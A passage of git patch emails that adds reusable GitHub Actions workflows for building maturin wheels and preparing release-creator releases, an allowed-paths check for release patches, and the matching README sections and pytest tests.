๐Ÿšฆ Fail when a build job failed or was cancelled + env: + NEEDS_JSON: ${{ toJSON(needs) }} + run: | + set -euo pipefail + jq -e 'all(to_entries[]; .value.result == "success" or .value.result == "skipped")' <<<"$NEEDS_JSON" diff --git a/README.md b/README.md index 65a3c7b..457c957 100644 --- a/README.md +++ b/README.md @@ -1144,6 +1144,68 @@ cutoff and `bump-deps-index` under `exclude-newer`. **Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, or none when nothing changed. +## Build maturin wheels + +`build-maturin-wheels.yaml` builds a maturin extension for a JSON build matrix and uploads the wheels and sdist under +the artifact names the caller's publisher reads. The `source` job checks out the commit, runs the optional pre-build +command once, and uploads the source. Each matrix entry runs in its own `build` job, the `sdist` job builds the sdist +from the hash-checked build group, and the `gate` job fails when a job failed. Every job holds `contents: read` only. + +```yaml +jobs: + build: + uses: >- + tox-dev/github-workflows/.github/workflows/build-maturin-wheels.yaml@SHA + with: + package-name: pyproject-fmt + package-path: pyproject-fmt + matrix: >- + [ + {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64", "manylinux": "2_28", + "python": "3.15 3.14t pypy3.11"}, + {"os": "ubuntu-24.04", "target": "aarch64", "artifact": "linux-aarch64", "args": "--zig"}, + {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64-315t", + "python": "3.15t", "args": "--no-default-features --features extension-module"}, + {"os": "windows-2025", "target": "x64", "artifact": "windows-x64", "python": "3.15 3.14t"}, + {"os": "macos-15", "target": "aarch64", "artifact": "macos-aarch64", "python": "3.15 3.14t pypy3.11"} + ] + post-build-command: uv run --no-project pyproject-fmt/build_backend.py dist + permissions: + contents: read +``` + +Each matrix entry takes these keys: + +- `os`: runner label, used as `runs-on`. +- `target`: Rust target triple passed to maturin. +- `artifact`: suffix of the uploaded `-wheels-` artifact. +- `python`: space-separated interpreters for `--interpreter`; default `3.15`. +- `manylinux`: manylinux or musllinux policy; default `auto`. +- `args`: extra maturin arguments, such as `--zig`. + +`package-path` is the directory holding the package's `Cargo.toml`; the sdist is built from it. `release-build` defaults +to `false`, but any tag ref runs in release mode too, so a tag caller can omit it. Release mode builds without sccache. +`workflow_call` defaults cannot be expressions, so the workflow combines the two inside. + +`pre-build-command` runs once in the source job from the checkout root, so every wheel job builds the same tree. Use it +for a version bump, which must happen before the source artifact is written. `post-build-command` runs in each wheel job +after maturin, from the checkout root with the wheels in `dist`. Vendoring belongs there, because maturin skips the PEP +517 hook that would otherwise vendor files. Both commands run under `bash -c`; the caller installs whatever they need, +such as cargo-edit for `cargo set-version`. + +The source job installs the `release-build` group of the caller's `pylock.toml` to read the maturin version. The sdist +job exports constraints from the `build` group. Both groups come from the lock that +[export-build-constraints](#export-constraints-for-a-build-matrix) reads, with the same `exclude-newer` inputs. + +What stays in the caller: + +- Profile-guided optimization. A PGO leg needs an instrumented build, a training run, and a profile check inside the + same job. Simplint keeps its four PGO legs in a local job and passes the remaining matrix entries to this workflow. +- Version selection, README generation, and any other changes to the source beyond `pre-build-command`. +- Package checks on the built files, such as an sdist that must carry vendored code. The workflow inspects nothing + inside the built files; check them in the package's own `tox -e pkg_meta` run. +- Publishing. Keep PyPI trusted publishing in the caller's tag workflow. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+build-maturin-wheels.feature.md b/changelog.d/+build-maturin-wheels.feature.md new file mode 100644 index 0000000..7be0e0b --- /dev/null +++ b/changelog.d/+build-maturin-wheels.feature.md @@ -0,0 +1,4 @@ +Add `build-maturin-wheels.yaml`, a reusable workflow that builds a maturin extension's wheels and sdist from a JSON +build matrix. It uploads them under the artifact names the caller's publisher expects, builds from the hash-checked +build group of the caller's lock, and runs with no write token. Optional `pre-build-command` and `post-build-command` +inputs run the caller's own steps once before the wheels and on each wheel job's `dist` directory. diff --git a/tests/build_maturin_wheels/test_workflow.py b/tests/build_maturin_wheels/test_workflow.py new file mode 100644 index 0000000..a6fbc05 --- /dev/null +++ b/tests/build_maturin_wheels/test_workflow.py @@ -0,0 +1,123 @@ +from __future__ import annotations + +import json +import os +import re +import subprocess +from pathlib import Path +from typing import Any + +import pytest +import yaml + +ROOT = Path(__file__).resolve().parents[2] +WORKFLOW = ROOT / ".github/workflows/build-maturin-wheels.yaml" +PINNED = re.compile(r"^(\$/|[\w.-]+/[\w./-]+@[0-9a-f]{40})") + + +@pytest.fixture(scope="module") +def workflow() -> dict[Any, Any]: + return yaml.safe_load(WORKFLOW.read_text()) + + +def test_inputs_have_documented_defaults(workflow: dict[Any, Any]) -> None: + inputs = workflow[True]["workflow_call"]["inputs"] + + assert inputs["package-path"]["default"] == "." + assert inputs["sdist"]["default"] is True + assert inputs["release-build"]["default"] is False + assert inputs["pre-build-command"]["default"] == "" + assert inputs["post-build-command"]["default"] == "" + assert inputs["matrix"]["required"] is True + assert inputs["package-name"]["required"] is True + + +def test_matrix_comes_from_the_json_input(workflow: dict[Any, Any]) -> None: + assert workflow["jobs"]["build"]["strategy"]["matrix"] == {"include": "${{ fromJSON(inputs.matrix) }}"} + assert workflow["jobs"]["build"]["runs-on"] == "${{ matrix.os }}" + + +def test_artifact_names_match_the_callers_names(workflow: dict[Any, Any]) -> None: + uploads = { + step["name"]: step["with"]["name"] + for job in ("build", "sdist") + for step in workflow["jobs"][job]["steps"] + if step.get("uses", "").startswith("actions/upload-artifact@") + } + + assert uploads == { + "๐Ÿ“ค Upload wheels": "${{ inputs.package-name }}-wheels-${{ matrix.artifact }}", + "๐Ÿ“ค Upload sdist": "${{ inputs.package-name }}-wheels-sdist", + } + + +def test_release_mode_disables_sccache_for_tags_or_input(workflow: dict[Any, Any]) -> None: + release = workflow["jobs"]["source"]["outputs"]["release"] + build = next(step for step in workflow["jobs"]["build"]["steps"] if step["name"] == "๐Ÿ—๏ธ Build wheels") + + assert release == "${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }}" + assert build["with"]["sccache"] == "${{ needs.source.outputs.release != 'true' }}" + + +def test_post_build_command_runs_after_maturin_and_before_upload(workflow: dict[Any, Any]) -> None: + names = [step["name"] for step in workflow["jobs"]["build"]["steps"]] + + assert names.index("๐Ÿ—๏ธ Build wheels") < names.index("๐Ÿ—๏ธ Run post-build command") < names.index("๐Ÿ“ค Upload wheels") + + +def test_pre_build_command_runs_once_in_the_source_job(workflow: dict[Any, Any]) -> None: + steps = [step["name"] for step in workflow["jobs"]["source"]["steps"]] + + assert "๐Ÿท๏ธ Run pre-build command" in steps + assert steps.index("๐Ÿท๏ธ Run pre-build command") < steps.index("๐Ÿ“ค Upload source") + assert "๐Ÿท๏ธ Run pre-build command" not in [step["name"] for step in workflow["jobs"]["build"]["steps"]] + + +def test_no_job_requests_a_write_token(workflow: dict[Any, Any]) -> None: + for name, job in workflow["jobs"].items(): + assert job.get("permissions", {}) in ({}, {"contents": "read"}), name + assert workflow["permissions"] == {} + + +def test_every_external_action_is_sha_pinned(workflow: dict[Any, Any]) -> None: + uses = [step["uses"] for job in workflow["jobs"].values() for step in job["steps"] if "uses" in step] + + assert uses + assert all(PINNED.match(value) for value in uses), uses + + +def test_every_checkout_keeps_credentials_out_of_the_job(workflow: dict[Any, Any]) -> None: + checkouts = [ + step + for job in workflow["jobs"].values() + for step in job["steps"] + if step.get("uses", "").startswith("actions/checkout@") + ] + + assert checkouts + assert all(step["with"]["persist-credentials"] is False for step in checkouts) + + +def test_gate_accepts_success_and_skipped_jobs(workflow: dict[Any, Any]) -> None: + run = workflow["jobs"]["gate"]["steps"][0]["run"] + + needs = {"source": {"result": "success"}, "build": {"result": "success"}, "sdist": {"result": "skipped"}} + assert _gate(run, needs).returncode == 0 + + +@pytest.mark.parametrize("result", ["failure", "cancelled"]) +def test_gate_rejects_failed_or_cancelled_jobs(workflow: dict[Any, Any], result: str) -> None: + run = workflow["jobs"]["gate"]["steps"][0]["run"] + + needs = {"source": {"result": "success"}, "build": {"result": result}, "sdist": {"result": "success"}} + assert _gate(run, needs).returncode != 0 + + +def _gate(run: str, needs: dict[Any, Any]) -> subprocess.CompletedProcess[str]: + return subprocess.run( + ["bash", "-c", run], + env=os.environ | {"NEEDS_JSON": json.dumps(needs)}, + text=True, + capture_output=True, + check=False, + ) From 94dedb265f919bdb05f77f25639e297415a61c28 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:49:41 -0800 Subject: [PATCH 15/38] =?UTF-8?q?=E2=9C=A8=20feat(validate):=20accept=20an?= =?UTF-8?q?=20allowed-paths=20list?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit validate-release-patch takes allowed-paths, glob patterns for the only paths a release patch may change. When it is set, the Towncrier configuration is not read and the changelog and fragment rule does not apply. Executable and symlink modes still fail. --- README.md | 5 ++- changelog.d/+allowed-paths.change.md | 3 ++ tests/validate_release_patch/test_validate.py | 43 +++++++++++++++++++ validate-release-patch/action.yml | 40 +++++++++++++++++ 4 files changed, 90 insertions(+), 1 deletion(-) create mode 100644 changelog.d/+allowed-paths.change.md diff --git a/README.md b/README.md index 457c957..9b93884 100644 --- a/README.md +++ b/README.md @@ -406,7 +406,10 @@ needs no release tools. **Output:** No named output. **Working-tree effect:** Applies and stages the patch. The Action reads the changelog path and fragment directory from committed Towncrier configuration. Only the changelog and direct fragment deletions may -appear in the patch, as regular files. An unexpected path or mode fails the job. +appear in the patch, as regular files. An unexpected path or mode fails the job. Set `allowed-paths` to newline-separated +glob patterns to replace that path rule: the patch may then change only the matching paths, and the Towncrier +configuration is not read. The [release-creator preparation](#prepare-release-creator-release) sets it. + ## Commit and tag release diff --git a/changelog.d/+allowed-paths.change.md b/changelog.d/+allowed-paths.change.md new file mode 100644 index 0000000..70dafd8 --- /dev/null +++ b/changelog.d/+allowed-paths.change.md @@ -0,0 +1,3 @@ +`validate-release-patch` takes an `allowed-paths` input of glob patterns. When it is set, the patch may change only the +paths matching those patterns, and the Towncrier configuration is no longer read. Without it, the Action checks the +changelog and fragment deletions as before. diff --git a/tests/validate_release_patch/test_validate.py b/tests/validate_release_patch/test_validate.py index e358c96..f336e06 100644 --- a/tests/validate_release_patch/test_validate.py +++ b/tests/validate_release_patch/test_validate.py @@ -189,3 +189,46 @@ def test_validate_rejects_removed_changelog(repository: Path, tmp_path: Path, ac result = action(repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0") assert result.returncode != 0 assert "unexpected release path" in result.stderr + + +def _patch(repository: Path, tmp_path: Path) -> None: + (tmp_path / "release.patch").write_text(run(repository, "git", "diff", "HEAD", "--binary").stdout) + run(repository, "git", "reset", "--hard", "HEAD") + + +def test_allowlist_accepts_listed_paths_only(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + (repository / "pyproject.toml").write_text((repository / "pyproject.toml").read_text() + "\n# changed\n") + (repository / "changelog.d/+feature.feature.md").unlink() + _patch(repository, tmp_path) + result = action( + repository, + tmp_path, + action_scripts, + "validate-release-patch", + version="0.2.0", + ALLOWED_PATHS="pyproject.toml\nchangelog.d/*", + ) + assert result.returncode == 0, result.stderr + assert "within the allowlist" in result.stdout + assert "changelog.d/+feature.feature.md" in run(repository, "git", "diff", "--cached", "--name-only").stdout + + +def test_allowlist_rejects_unlisted_path(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + (repository / "pyproject.toml").write_text((repository / "pyproject.toml").read_text() + "\n# changed\n") + _patch(repository, tmp_path) + result = action( + repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0", ALLOWED_PATHS="CHANGELOG.md" + ) + assert result.returncode != 0 + assert "unexpected release path: pyproject.toml" in result.stderr + + +def test_allowlist_rejects_executable_mode(repository: Path, tmp_path: Path, action_scripts: Path) -> None: + script = repository / "pyproject.toml" + script.chmod(0o755) + _patch(repository, tmp_path) + result = action( + repository, tmp_path, action_scripts, "validate-release-patch", version="0.2.0", ALLOWED_PATHS="pyproject.toml" + ) + assert result.returncode != 0 + assert "unexpected release file mode" in result.stderr diff --git a/validate-release-patch/action.yml b/validate-release-patch/action.yml index 5105e1f..e5c0963 100644 --- a/validate-release-patch/action.yml +++ b/validate-release-patch/action.yml @@ -1,5 +1,9 @@ name: Validate release patch description: Apply the release patch downloaded to $RUNNER_TEMP/release-patch and check its paths and file modes +inputs: + allowed-paths: + description: Newline-separated glob patterns for the only paths the patch may change, in place of the Towncrier configuration + default: "" runs: using: composite steps: @@ -8,8 +12,10 @@ runs: run: git apply --index --verbose "$RUNNER_TEMP/release-patch/release.patch" - name: โš™๏ธ Read Towncrier configuration id: config + if: inputs.allowed-paths == '' uses: $/read-towncrier-config - name: ๐Ÿ” Check release patch paths + if: inputs.allowed-paths == '' shell: bash env: CHANGELOG: ${{ steps.config.outputs.changelog }} @@ -36,6 +42,40 @@ runs: removed=$((removed + 1)) done <"$RUNNER_TEMP/release-paths" echo "Release patch paths: $(plural "$removed" fragment) removed from $FRAGMENTS" + - name: ๐Ÿ” Check release patch paths against the allowlist + if: inputs.allowed-paths != '' + shell: bash + env: + ALLOWED_PATHS: ${{ inputs.allowed-paths }} + run: | + set -euo pipefail + # shellcheck disable=SC1091 # GitHub supplies this Action path at runtime. + source "$GITHUB_ACTION_PATH/../tools/plural.sh" + patterns=() + while IFS= read -r pattern; do + if [[ -n "$pattern" ]]; then + patterns+=("$pattern") + fi + done <<<"$ALLOWED_PATHS" + git diff --cached --name-status --no-renames -z >"$RUNNER_TEMP/release-paths" + count=0 + while IFS= read -r -d '' status && IFS= read -r -d '' path; do + echo "Release patch path: $status $path" + matched=false + for pattern in "${patterns[@]}"; do + # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. + if [[ "$path" == $pattern ]]; then + matched=true + break + fi + done + if [[ "$matched" != true ]]; then + echo "::error::unexpected release path: $path" >&2 + exit 1 + fi + count=$((count + 1)) + done <"$RUNNER_TEMP/release-paths" + echo "Release patch paths: $(plural "$count" path) within the allowlist" - name: ๐Ÿ” Check release patch file modes shell: bash run: | From 58890bfa1a3b8b98d42f1e29f8b17efb79affc46 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:49:45 -0800 Subject: [PATCH 16/38] =?UTF-8?q?=E2=9C=A8=20feat(release):=20add=20releas?= =?UTF-8?q?e-creator=20preparation?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit prepare-release-creator.yaml follows prepare-towncrier-release: the assemble job selects the tag, links fragments, runs the caller's changelog command, and uploads a patch without a token; the push job checks the patch against release-paths and pushes the commit and tag with the release App. Repositories with several packages scope tags and fragments with package and tag-format. --- .../workflows/prepare-release-creator.yaml | 281 ++++++++++++++++++ README.md | 85 +++++- .../+prepare-release-creator.feature.md | 4 + .../test_release_creator.py | 201 +++++++++++++ 4 files changed, 567 insertions(+), 4 deletions(-) create mode 100644 .github/workflows/prepare-release-creator.yaml create mode 100644 changelog.d/+prepare-release-creator.feature.md create mode 100644 tests/prepare_release_creator/test_release_creator.py diff --git a/.github/workflows/prepare-release-creator.yaml b/.github/workflows/prepare-release-creator.yaml new file mode 100644 index 0000000..01aef9d --- /dev/null +++ b/.github/workflows/prepare-release-creator.yaml @@ -0,0 +1,281 @@ +name: Prepare release-creator release +on: + workflow_call: + inputs: + bump: + description: Version selection mode passed to release-creator tags + type: string + default: auto + package: + description: Package whose tags and fragments the release scopes to, empty for a single-package repository + type: string + default: "" + tag-format: + description: Tag template, one of {version}, v{version}, {package}/{version}, or {package}/v{version} + type: string + default: "{version}" + changelog: + description: Tracked Markdown changelog that assemble-command writes and contributors edits + type: string + default: CHANGELOG.md + assemble-command: + description: Shell command that writes the changelog section from the pending fragments, run with PACKAGE, VERSION, and TAG set + required: true + type: string + release-paths: + description: Newline-separated glob patterns for the only paths the release patch may change, {package} expands to package + required: true + type: string + cargo-set-version: + description: Run cargo set-version with the release version before the changelog is assembled + type: boolean + default: false + cargo-set-version-args: + description: Arguments before the version for cargo set-version, such as -p {package}; {package} expands to package + type: string + default: "" + annotated: + description: Create an annotated tag + type: boolean + default: false + release-auth-deployment: + description: Create a GitHub Deployment for the App-key job + type: boolean + default: true + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" + secrets: + RELEASE_APP_PRIVATE_KEY: + description: Key held by the caller's release-auth environment + required: true +permissions: {} +concurrency: + group: prepare-release-${{ github.repository }} + cancel-in-progress: false +jobs: + assemble: + name: ๐Ÿท๏ธ Assemble release + runs-on: ubuntu-26.04 + permissions: + contents: read + pull-requests: read + outputs: + version: ${{ steps.version.outputs.version }} + number: ${{ steps.version.outputs.number }} + artifact-id: ${{ steps.patch.outputs.artifact-id }} + release-paths: ${{ steps.version.outputs.release-paths }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + ref: ${{ github.sha }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-prepare + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: ๐Ÿฆ€ Install Rust toolchain + if: ${{ inputs.cargo-set-version }} + uses: actions-rust-lang/setup-rust-toolchain@ecabd13d1c56bd1345c230e542e9144811ad706f # v2.0.0 + with: + cache: false + - name: ๐Ÿฆ€ Install cargo-edit + if: ${{ inputs.cargo-set-version }} + uses: baptiste0928/cargo-install@8195d4f734a149db85385bb4102b42efcd373759 # v3.5.0 + with: + crate: cargo-edit + version: 0.13.13 + - name: ๐Ÿงน Install prek hooks + id: hooks + uses: $/cooled-prek + with: + args: install-hooks + background: true + - name: ๐Ÿท๏ธ Select release version + id: version + env: + BUMP: ${{ inputs.bump }} + PACKAGE: ${{ inputs.package }} + TAG_FORMAT: ${{ inputs.tag-format }} + CHANGELOG: ${{ inputs.changelog }} + RELEASE_PATHS: ${{ inputs.release-paths }} + run: | + set -euo pipefail + case "$TAG_FORMAT" in + '{version}' | 'v{version}') + if [[ -n "$PACKAGE" ]]; then + echo "::error::tag-format $TAG_FORMAT names no package, but package is $PACKAGE" >&2 + exit 1 + fi + fragments=changelog.d + ;; + '{package}/{version}' | '{package}/v{version}') + if [[ -z "$PACKAGE" ]]; then + echo "::error::tag-format $TAG_FORMAT needs a package input" >&2 + exit 1 + fi + fragments="changelog.d/$PACKAGE" + ;; + *) + echo "::error::unsupported tag-format: $TAG_FORMAT" >&2 + exit 1 + ;; + esac + args=(--next "$BUMP" --directory "$fragments") + if [[ -n "$PACKAGE" ]]; then + args+=(--package "$PACKAGE") + fi + # release-creator prints its progress on stderr, so stdout holds the tag alone. + selected=$(git tag --list | release-creator tags "${args[@]}" 2>/dev/null) + number=${selected##*/} + number=${number#v} + tag=${TAG_FORMAT//'{package}'/$PACKAGE} + tag=${tag//'{version}'/$number} + echo "Release $tag (version $number, bump $BUMP from the fragments in $fragments)" + { + printf 'number=%s\n' "$number" + printf 'version=%s\n' "$tag" + echo 'release-paths<>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ Link fragments and authors + env: + PACKAGE: ${{ inputs.package }} + REPOSITORY: ${{ github.repository }} + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + fragments=changelog.d + if [[ -n "$PACKAGE" ]]; then + fragments="changelog.d/$PACKAGE" + fi + release-creator fragments --directory "$fragments" --repository "$REPOSITORY" + - name: โš™๏ธ Bump Cargo version + if: ${{ inputs.cargo-set-version }} + env: + CARGO_SET_VERSION: ${{ inputs.cargo-set-version-args }} + NUMBER: ${{ steps.version.outputs.number }} + PACKAGE: ${{ inputs.package }} + run: | + set -euo pipefail + read -ra cargo_arguments <<<"${CARGO_SET_VERSION//'{package}'/$PACKAGE}" + cargo set-version "${cargo_arguments[@]}" "$NUMBER" + - name: ๐Ÿ“ Assemble changelog + env: + PACKAGE: ${{ inputs.package }} + VERSION: ${{ steps.version.outputs.number }} + TAG: ${{ steps.version.outputs.version }} + ASSEMBLE_COMMAND: ${{ inputs.assemble-command }} + run: bash -c "$ASSEMBLE_COMMAND" + - name: ๐Ÿ“ Add new contributors to the changelog + env: + CHANGELOG: ${{ inputs.changelog }} + NUMBER: ${{ steps.version.outputs.number }} + PACKAGE: ${{ inputs.package }} + REPOSITORY: ${{ github.repository }} + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + args=(--changelog "$CHANGELOG" --version "$NUMBER" --repository "$REPOSITORY") + if [[ -n "$PACKAGE" ]]; then + args+=(--package "$PACKAGE") + fi + release-creator contributors "${args[@]}" + - name: โณ Wait for prek hooks + wait: hooks + - name: ๐Ÿงน Format changelog + id: format + continue-on-error: true + uses: $/cooled-prek + with: + args: run mdformat --files ${{ inputs.changelog }} + - name: ๐Ÿงน Confirm changelog format + if: ${{ steps.format.outcome == 'failure' }} + uses: $/cooled-prek + with: + args: run mdformat --files ${{ inputs.changelog }} + - name: ๐Ÿ“ Track a new changelog + env: + CHANGELOG: ${{ inputs.changelog }} + run: | + set -euo pipefail + if git ls-files --error-unmatch -- "$CHANGELOG" >/dev/null 2>&1; then + echo "$CHANGELOG is already tracked" + else + git add -N -- "$CHANGELOG" + fi + - name: ๐Ÿ“ Write release patch + run: | + set -euo pipefail + git diff HEAD --binary >"$RUNNER_TEMP/release.patch" + git diff HEAD --stat + - name: ๐Ÿ“ค Upload release patch + id: patch + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: release-patch + path: ${{ runner.temp }}/release.patch + if-no-files-found: error + push: + name: โฌ†๏ธ Push release commit and tag + needs: assemble + runs-on: ubuntu-26.04 + environment: + name: release-auth + deployment: ${{ inputs.release-auth-deployment }} + permissions: + contents: read + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: ๐Ÿ“ฉ Download release patch + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.assemble.outputs.artifact-id }} + path: ${{ runner.temp }}/release-patch + - name: โš™๏ธ Apply release patch + uses: $/validate-release-patch + with: + allowed-paths: ${{ needs.assemble.outputs.release-paths }} + - id: repository + name: โš™๏ธ Select the current repository + env: + REPOSITORY: ${{ github.repository }} + run: echo "name=${REPOSITORY#*/}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ”‘ Create release App token + id: token + uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 + with: + client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} + private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ steps.repository.outputs.name }} + permission-contents: write + - name: ๐Ÿท๏ธ Commit and tag release + uses: $/commit-and-tag + with: + version: ${{ needs.assemble.outputs.version }} + token: ${{ steps.token.outputs.token }} + app-slug: ${{ steps.token.outputs.app-slug }} + message: release ${{ needs.assemble.outputs.version }} + annotated: ${{ inputs.annotated }} diff --git a/README.md b/README.md index 9b93884..f4f2e05 100644 --- a/README.md +++ b/README.md @@ -406,10 +406,9 @@ needs no release tools. **Output:** No named output. **Working-tree effect:** Applies and stages the patch. The Action reads the changelog path and fragment directory from committed Towncrier configuration. Only the changelog and direct fragment deletions may -appear in the patch, as regular files. An unexpected path or mode fails the job. Set `allowed-paths` to newline-separated -glob patterns to replace that path rule: the patch may then change only the matching paths, and the Towncrier -configuration is not read. The [release-creator preparation](#prepare-release-creator-release) sets it. - +appear in the patch, as regular files. An unexpected path or mode fails the job. Set `allowed-paths` to +newline-separated glob patterns to replace that path rule: the patch may then change only the matching paths, and the +Towncrier configuration is not read. The [release-creator preparation](#prepare-release-creator-release) sets it. ## Commit and tag release @@ -1209,6 +1208,84 @@ What stays in the caller: inside the built files; check them in the package's own `tox -e pkg_meta` run. - Publishing. Keep PyPI trusted publishing in the caller's tag workflow. +## Prepare release-creator release + +`prepare-release-creator.yaml` runs the same two-job split as +[prepare-towncrier-release](#prepare-and-tag-with-one-reusable-workflow). `assemble` has no App key. It selects the tag +from the tags and pending fragments, links fragments to their pull requests, optionally runs `cargo set-version`, runs +the caller's changelog command, adds New Contributors, formats the changelog with the `mdformat` prek hook, and uploads +the patch. `push` downloads that patch by ID, applies it with [validate-release-patch](#validate-release-patch) using +`allowed-paths`, mints a repository-scoped App token, and runs [commit-and-tag](#commit-and-tag-release). + +```yaml +jobs: + prepare: + uses: >- + tox-dev/github-workflows/.github/workflows/prepare-release-creator.yaml@SHA + permissions: + contents: read + pull-requests: read + with: + bump: ${{ inputs.bump }} + package: ${{ inputs.package }} + tag-format: '{package}/{version}' + cargo-set-version: true + cargo-set-version-args: -p {package} + assemble-command: >- + uv run --project "$PACKAGE" python tasks/generate_readme.py "$PACKAGE" && + python3 tasks/assemble_release.py "$PACKAGE" "$VERSION" + release-paths: | + CHANGELOG.md + Cargo.lock + uv.lock + {package}/Cargo.toml + {package}/README.rst + changelog.d/{package}/* + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +Simplint's single-package release uses unprefixed tags and no package scope: + +```yaml + with: + bump: ${{ inputs.bump }} + tag-format: '{version}' + cargo-set-version: true + assemble-command: python3 tasks/assemble_release.py "$VERSION" + release-paths: | + CHANGELOG.md + Cargo.lock + Cargo.toml + changelog.d/* +``` + +- `bump`: `auto`, `major`, `minor`, or `patch`, passed to `release-creator tags --next`. +- `package`: scopes tags to `package/` and fragments to `changelog.d/`. Empty for a single-package repository. +- `tag-format`: `{version}`, `v{version}`, `{package}/{version}`, or `{package}/v{version}`. A `{package}` format needs + `package`, and a format without it rejects `package`. +- `changelog`: tracked Markdown changelog; default `CHANGELOG.md`. +- `assemble-command` **(required)**: shell command that writes the changelog section from the fragments. It runs with + `PACKAGE`, `VERSION` (the bare number), and `TAG` set, and it may run the package's own build steps first. +- `release-paths` **(required)**: newline-separated glob patterns, the only paths the patch may change. `{package}` + expands to `package`. Each matched path may be added, modified, or deleted as a regular file; other modes fail. + `validate-release-patch` does not read the Towncrier configuration in this mode. +- `cargo-set-version`: run `cargo set-version` with the number before assembly; default `false`. + `cargo-set-version-args` holds the arguments before the number, such as `-p {package}`. Cargo and cargo-edit install + only when this is set. +- `annotated`, `release-auth-deployment`, `exclude-newer`, and `exclude-newer-package` match + `prepare-towncrier-release`. + +The caller keeps the `release-auth` environment with `RELEASE_APP_PRIVATE_KEY` and the `RELEASE_APP_CLIENT_ID` variable. +Assembly installs `release-prepare`, which contains release-creator, Towncrier, and prek. + +What stays in the caller: + +- The changelog. `assemble-command` writes it, because release-creator does not build a `## ` section in a + shared changelog. Simplint's `assemble_release.py` and toml-fmt's package sections both stay in the caller. +- Any Cargo or uv version change beyond `cargo-set-version`, such as `uv version --package` for a second Python package. +- The tag-triggered publisher, which stays in the caller repository. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+prepare-release-creator.feature.md b/changelog.d/+prepare-release-creator.feature.md new file mode 100644 index 0000000..bed759b --- /dev/null +++ b/changelog.d/+prepare-release-creator.feature.md @@ -0,0 +1,4 @@ +Add `prepare-release-creator.yaml`, a reusable release preparation for repositories that use release-creator. Its +assemble job selects the version from the tags and pending fragments, links fragments to their pull requests, runs the +caller's changelog command, and uploads a patch. Its push job checks the patch against the caller's allowed paths and +pushes the release commit and tag with the release App token. diff --git a/tests/prepare_release_creator/test_release_creator.py b/tests/prepare_release_creator/test_release_creator.py new file mode 100644 index 0000000..210654f --- /dev/null +++ b/tests/prepare_release_creator/test_release_creator.py @@ -0,0 +1,201 @@ +from __future__ import annotations + +import os +import subprocess +import sys +from pathlib import Path +from typing import Any + +import pytest +import yaml + +ROOT = Path(__file__).resolve().parents[2] + + +@pytest.fixture(scope="module") +def workflow() -> dict[Any, Any]: + return yaml.safe_load((ROOT / ".github/workflows/prepare-release-creator.yaml").read_text()) + + +def step(workflow: dict[Any, Any], job: str, name: str) -> dict[Any, Any]: + return next(item for item in workflow["jobs"][job]["steps"] if item.get("name") == name) + + +def test_assemble_holds_no_write_token(workflow: dict[Any, Any]) -> None: + assert workflow["jobs"]["assemble"]["permissions"] == {"contents": "read", "pull-requests": "read"} + assert workflow["jobs"]["push"]["permissions"] == {"contents": "read"} + + +def test_push_validates_before_minting_the_token(workflow: dict[Any, Any]) -> None: + names = [item.get("name") for item in workflow["jobs"]["push"]["steps"]] + + assert names.index("โš™๏ธ Apply release patch") < names.index("๐Ÿ”‘ Create release App token") + assert names[-1] == "๐Ÿท๏ธ Commit and tag release" + + +def test_push_passes_resolved_release_paths_to_the_validator(workflow: dict[Any, Any]) -> None: + validate = next( + item for item in workflow["jobs"]["push"]["steps"] if item.get("uses") == "$/validate-release-patch" + ) + + assert validate["with"] == {"allowed-paths": "${{ needs.assemble.outputs.release-paths }}"} + + +def test_every_external_action_is_sha_pinned(workflow: dict[Any, Any]) -> None: + uses = [item["uses"] for job in workflow["jobs"].values() for item in job["steps"] if "uses" in item] + local = {value for value in uses if 